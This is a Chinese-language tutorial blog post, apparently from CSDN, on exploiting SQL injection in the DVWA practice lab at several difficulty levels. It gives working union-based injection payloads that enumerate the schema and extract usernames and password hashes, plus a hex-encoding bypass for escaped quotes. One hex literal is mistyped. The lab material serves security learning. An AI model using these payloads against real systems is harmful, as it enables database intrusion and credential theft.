DVWA-SQL注入全等级绕过方法-爱代码爱编程
前言
在开始之前,先说一下我对SQL注入的原理的一些理解:
SQL注入
是在输入的字符串中注入了SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到数据泄漏或者数据的破坏。
攻击者可以从数据库中获取敏感数据,造成大量敏感信息泄露;修改数据库内容,造成网页篡改;执行数据库管理操作,例如写入webshell,在某些情况下能够执行操作系统命令,造成服务器被控制;或者攻击者直接删除数据库破坏数据,造成系统瘫痪。
其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
一、Low级别
首先打开DVWA靶场,选择SQL Injection模块。
Tips:我在这个攻击过程里面用到了一个火狐浏览器的小插件,叫
Max HackBar
,用起来很方便。
我这里在User ID里输入1,按下F12,选中Max HacKBar插件,点Load URL就可以将URL抓取下来,可以在里面对参数进行修改,点Execution执行。
sql注入的步骤,第一步先找到注入点,然后判断注入的类型,接着就是常规的流程,暴库,表等等数据库信息。
具体详细步骤可以参考博客:
DVWA之SQL注入的步骤.
废话不多说,回归正题!
union注入
这里不得不提下union注入,它的意思就是前面有一个查询语句,联合查询另一个查询语句。这里可以用联合查询把它的数据库整个查出来。
我们可以查看它的源代码,知道他查询的字段数是两个,分别是first_name和Last_name。
判断字段数
但是如果我们不能看源码的情况下,就可以用order by语句来判断它查询的字段数有多少。
用二分法查找,一直到order by 2
输入id=1 ' union select 133331,33333222 --
这里的两个部分可以填入任意的阿拉伯数字,应情况而定,也有可能是字符,也可以用null。
这个时候可以在两个位置输入要查询的东西,比如说user()
数据库用户名,version()
版本,数据库名database()
.
查表名
输入:1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'--
关于
information_schema
的相关说明这里不做详细讲解,请参考博文:mysql5以上默认在数据库中存放一个information_schema 的数据库.
可能有人在这里会出现,Illegal mix of collations for operation ‘UNION’ 的报错,不用怕,把Mysql的版本换成8.0就解决了,具体原因是编码问题,可以自己百度。不会换可参考博文:
Illegal mix of collations for operation ‘UNION‘报错解决办法.
从获取到的信息中可以看到有admin,guestbook,users三个表,其中有价值的我们猜是users的表。接下来我们就是要把users表里的字段查出来。
查字段
输入:1'union select column_name,2 from information_schema.columns where table_name = 'users'--
从获取的信息中可以看到敏感关键字password和user,下一步就是要把字段的内容给查出来。
输入:1'union select user,password from users--
二、Medium级别
到了中级,发现UserID变成了下拉选项的形式,不能输入了,需要借助Burpsuite工具代理,进行抓包修改。
输入id=1' and 1=1#
出现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and 1=1#’ at line 1
单引号’被转义了
接着输入id=1 and 1=1#
,发现是数字型的注入
接下来的步骤就和low级的一样了,判断字段数id=1 order by 2#
输入id=1 union select user(),database()#
暴出数据库和用户
输入id=1 union select table_name,2 from information_schema.tables where table_schema=dvwa#
暴出表名
这里出现一个小问题,找不到dvwa这个值,可能是编码的问题,而且中级里面单引号’是被转义了,所以我们要把’dvwa’改成16进制进行输入:
输入id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=0*64767761#
:
输入id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273 #
,查询users表的字段信息 :
最后输入id=1 union select user,password from users#
,账号秘密:
二、High级别
没什么难度,和low、medium差不多,只是换了种形式,流程还是一样的,注入点,字段数,库,表,字段。
总结
通过这个靶场的练习是希望自己对sql注入有更好的理解,自己也有实战过,在src有提交过九个sql注入漏洞,但是和大佬相比我还是太菜了,之所以dvwa靶场的sql注入篇现在才发表是因为自己不记得了,是今天突然想起来了。趁现在有了实战经验,回过头来写,印象也更加深刻。
一些初学疑问
我自己刚刚入门的时候的一些疑惑(哈哈哈哈哈,从刚开始学到现在已经过去半年了,如果有人也和我刚开始学的时候一样,有这个问题,希望可以帮到你)
为什么要加个单引号’,闭合到底是怎么用?
可能刚开始做的时候很多人都会有这个疑惑,不知道什么时候要用单引号,甚至是双引号,很模糊,这个时候只要把它的查询语句列出来好好捋一捋就很明白了,以这个dvwa low靶场的为例:SELECT first_name, last_name FROM users WHERE user_id = '$id'
;
这里的$id就相当于是我们输入的1,2,3,…,如果我们输入1,语句就是SELECT first_name, last_name FROM users WHERE user_id = '1'
;
同理,输入1’,语句就是:SELECT first_name, last_name FROM users WHERE user_id = '1’'
;
它就会报错,因为有三个引号,所以我们就要注释掉多出来的那个引号,输入1’ --(空格),语句变成:SELECT first_name, last_name FROM users WHERE user_id = '1’-- '
;
红色部分被注释,所以成功执行。
本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/115291688.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。